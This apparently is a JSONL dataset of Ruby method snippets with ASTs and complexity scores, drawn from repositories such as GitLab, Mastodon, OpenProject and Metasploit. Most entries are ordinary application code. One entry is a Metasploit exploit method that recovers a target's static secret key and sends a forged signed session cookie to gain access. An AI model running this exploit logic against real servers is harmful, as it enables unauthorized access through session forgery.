{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/has_settings.rb","start_line":30,"raw_source":"def setting_boost_modal\n    settings['web.reblog_modal']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_boost_modal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"web.reblog_modal\"]}]}]}","id":"0066a12a-9e1a-42c1-a512-800cd7e010cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/ci/job_token/internal_events_tracking.rb","start_line":8,"raw_source":"def track_job_token_scope_setting_changes(ci_cd_settings, user)\n        scope_change = ci_cd_settings.previous_changes[:inbound_job_token_scope_enabled]\n        if scope_change == [false, true]\n          track_internal_event(\n            'enable_inbound_job_token_scope',\n            user: user,\n            project: ci_cd_settings.project\n          )\n        elsif scope_change == [true, false]\n          track_internal_event(\n            'disable_inbound_job_token_scope',\n            user: user,\n            project: ci_cd_settings.project\n          )\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"track_job_token_scope_setting_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci_cd_settings\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope_change\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_cd_settings\"]},\"previous_changes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inbound_job_token_scope_enabled\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_change\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"track_internal_event\",{\"type\":\"str\",\"children\":[\"enable_inbound_job_token_scope\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_cd_settings\"]},\"project\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_change\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"track_internal_event\",{\"type\":\"str\",\"children\":[\"disable_inbound_job_token_scope\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_cd_settings\"]},\"project\"]}]}]}]},null]}]}]}]}","id":"3dec2888-ff94-4450-8edf-1a3470a33c5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/migrate_links_for_vulnerability_findings.rb","start_line":66,"raw_source":"def create_links(attributes)\n        return if attributes.empty?\n\n        Link.upsert_all(attributes, returning: false)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_links\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Link\"]},\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"4664debf-0461-4287-9c08-40399ad6c6cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/job/iterable.rb","start_line":281,"raw_source":"def handle_completed(completed)\n        case completed\n        when nil, # someone aborted the job but wants to call the on_complete callback\n             true\n          true\n        when false\n          false\n        else\n          raise \"Unexpected thrown value: #{completed.inspect}\"\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_completed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"completed\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed\"]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected thrown value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed\"]},\"inspect\"]}]}]}]}]}]}","id":"ead0665d-a36d-4656-8aec-5cc7a185e551"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/tabs_helper.rb","start_line":67,"raw_source":"def selected_tab(tabs)\n    selected = tabs.detect { |t| t[:name].to_s == params[:tab].to_s } || tabs.detect { tab_route_shown?(it) }\n    return selected unless selected.nil?\n\n    tabs.first\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"selected_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tabs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected\",{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tabs\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tab\"]}]},\"to_s\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tabs\"]},\"detect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tab_route_shown?\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tabs\"]},\"first\"]}]}]}","id":"1a8900c2-318d-4733-8b16-2a763fa56102"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/prometheus/internal.rb","start_line":6,"raw_source":"def self.uri\n        return if server_address.blank?\n\n        if server_address.starts_with?('0.0.0.0:')\n          # 0.0.0.0:9090\n          port = ':' + server_address.split(':').second\n          'http://localhost' + port\n\n        elsif server_address.starts_with?(':')\n          # :9090\n          'http://localhost' + server_address\n\n        elsif server_address.starts_with?('http')\n          # https://localhost:9090\n          server_address\n\n        else\n          # localhost:9090\n          'http://' + server_address\n        end\n      end","complexity_score":28.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_address\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_address\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"0.0.0.0:\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_address\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"second\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"http://localhost\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_address\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"http://localhost\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"server_address\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_address\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[null,\"server_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"server_address\"]}]}]}]}]}]}]}","id":"8957c33b-f629-4454-8dc4-ca1300bd492c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog.rb","start_line":32,"raw_source":"def each_dialog_field(&block)\n    dialog_fields.each(&block)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each_dialog_field\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dialog_fields\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"1162eb5f-0392-46b2-980c-2ade7134ae82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/create_ref_service.rb","start_line":69,"raw_source":"def store_generated_ref_commits(final_commit_sha)\n      commit_shas = commit_shas_between_refs(final_commit_sha, limit: 500)\n      return unless commit_shas.any?\n\n      GeneratedRefCommit.transaction do\n        # Prepare records for bulk insert\n        records = commit_shas.map do |commit_sha|\n          {\n            merge_request_iid: merge_request.iid,\n            commit_sha: commit_sha,\n            project_id: merge_request.project_id,\n            created_at: Time.current,\n            updated_at: Time.current\n          }\n        end\n        GeneratedRefCommit.upsert_all(records, unique_by: [:id, :project_id])\n      end\n    rescue ::PG::Error => e\n      # Log error but don't break the main flow\n      Gitlab::AppLogger.error(\"Failed to store generated ref commits for MR #{merge_request.id}: #{e.message}\")\n    end","complexity_score":29.85,"ast_json":"{\"type\":\"def\",\"children\":[\"store_generated_ref_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"final_commit_sha\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_shas\",{\"type\":\"send\",\"children\":[null,\"commit_shas_between_refs\",{\"type\":\"lvar\",\"children\":[\"final_commit_sha\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_shas\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedRefCommit\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_shas\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit_sha\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_sha\"]},{\"type\":\"lvar\",\"children\":[\"commit_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedRefCommit\"]},\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PG\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to store generated ref commits for MR \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"74c11af3-0ba5-475c-b1b3-128e0d08aef6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/metasploit_static_secret_key_base.rb","start_line":260,"raw_source":"def exploit\n    cookie_name = '_ui_session'\n\n    print_status(\"Checking for cookie #{cookie_name}\")\n\n    res = send_request_cgi({\n      'uri' => datastore['TARGETURI'] || \"/\",\n      'method' => 'GET',\n    }, 25)\n\n    unless res\n      fail_with(Failure::Unreachable, \"Target didn't respond\")\n    end\n\n    if res.get_cookies.empty?\n      fail_with(Failure::UnexpectedReply, \"Target didn't send us any cookies. We can't continue.\")\n    end\n\n    match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)\n\n    unless match\n      fail_with(Failure::UnexpectedReply, \"Target didn't send us a session cookie. We can't continue.\")\n    end\n\n    if match[1] == cookie_name\n      vprint_status(\"Found cookie\")\n    else\n      print_status(\"Adjusting cookie name to #{match[1]}\")\n      cookie_name = match[1]\n    end\n\n    print_status(\"Searching for proper secret\")\n\n    (version, secret) = get_secret(match[2], match[3])\n\n    unless secret\n      fail_with(Failure::NotVulnerable, \"SECRET not found, target not vulnerable?\")\n    end\n\n    print_status(\"Found secret, detected version #{version}\")\n\n    cookie = build_signed_cookie(secret)\n\n    print_status \"Sending cookie #{cookie_name}\"\n    res = send_request_cgi({\n      'uri' => datastore['TARGETURI'] || \"/\",\n      'method' => 'GET',\n      'headers' => { 'Cookie' => cookie_name + \"=\" + cookie },\n    }, 25)\n\n    handler\n  end","complexity_score":54.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie_name\",{\"type\":\"str\",\"children\":[\"_ui_session\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking for cookie \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Target didn't respond\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Target didn't send us any cookies. We can't continue.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Target didn't send us a session cookie. We can't continue.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"cookie_name\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Found cookie\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adjusting cookie name to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Searching for proper secret\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\"]},{\"type\":\"lvasgn\",\"children\":[\"secret\"]}]},{\"type\":\"send\",\"children\":[null,\"get_secret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"SECRET not found, target not vulnerable?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found secret, detected version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"build_signed_cookie\",{\"type\":\"lvar\",\"children\":[\"secret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending cookie \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_name\"]},\"+\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"42222294-c5ba-4bb8-8dde-e0e897e9cb51"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/queries/meetings/meeting_query.rb","start_line":44,"raw_source":"def default_scope\n      Meeting\n        .not_templated\n        .not_cancelled\n        .visible(user)\n        .unscope(:order) # remove default scope order\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"default_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meeting\"]},\"not_templated\"]},\"not_cancelled\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]}","id":"175bc425-59f9-4a41-af34-ffc85d4a586e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/drda/packet.rb","start_line":209,"raw_source":"def initialize(args={})\n    self[:codepoint] = Rex::Proto::DRDA::Constants::USERID\n    self[:payload] = Rex::Text.to_ebcdic(args[:payload].to_s)\n    self[:length] = self[:payload].size + 4\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"codepoint\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DRDA\"]},\"Constants\"]},\"USERID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_ebcdic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"size\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}","id":"0816451e-9c91-46af-8758-cb5dbff5d502"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":1013,"raw_source":"def raise_exception_on_sigterm(answer=true)\n      @options[:raise_exception_on_sigterm] = answer\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_exception_on_sigterm\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"answer\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"raise_exception_on_sigterm\"]},{\"type\":\"lvar\",\"children\":[\"answer\"]}]}]}","id":"fe52b7d0-9a17-4d8b-8102-081e70659814"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/search_service_presenter.rb","start_line":48,"raw_source":"def without_count?\n    search_objects.is_a?(Kaminari::PaginatableWithoutCount)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"without_count?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_objects\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"PaginatableWithoutCount\"]}]}]}","id":"69c005cc-76f9-4262-8cb3-43f9b1cbd9ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/praefect_manager.rb","start_line":289,"raw_source":"def modify_repo_access_time(node, repo_path, update_time)\n        repo = \"/var/opt/gitlab/git-data/repositories/#{repo_path}\"\n        shell(%(\n          docker exec --user git #{node} bash -c 'find #{repo} -exec touch -d \"#{update_time}\" {} \\\\;'\n        ))\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"modify_repo_access_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"repo_path\"]},{\"type\":\"arg\",\"children\":[\"update_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/var/opt/gitlab/git-data/repositories/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          docker exec --user git \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"str\",\"children\":[\" bash -c 'find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]}]},{\"type\":\"str\",\"children\":[\" -exec touch -d \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_time\"]}]},{\"type\":\"str\",\"children\":[\"\\\" {} \\\\;'\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]}]}]}","id":"9aad5967-b086-43d3-bf39-1fbcc625058c"}
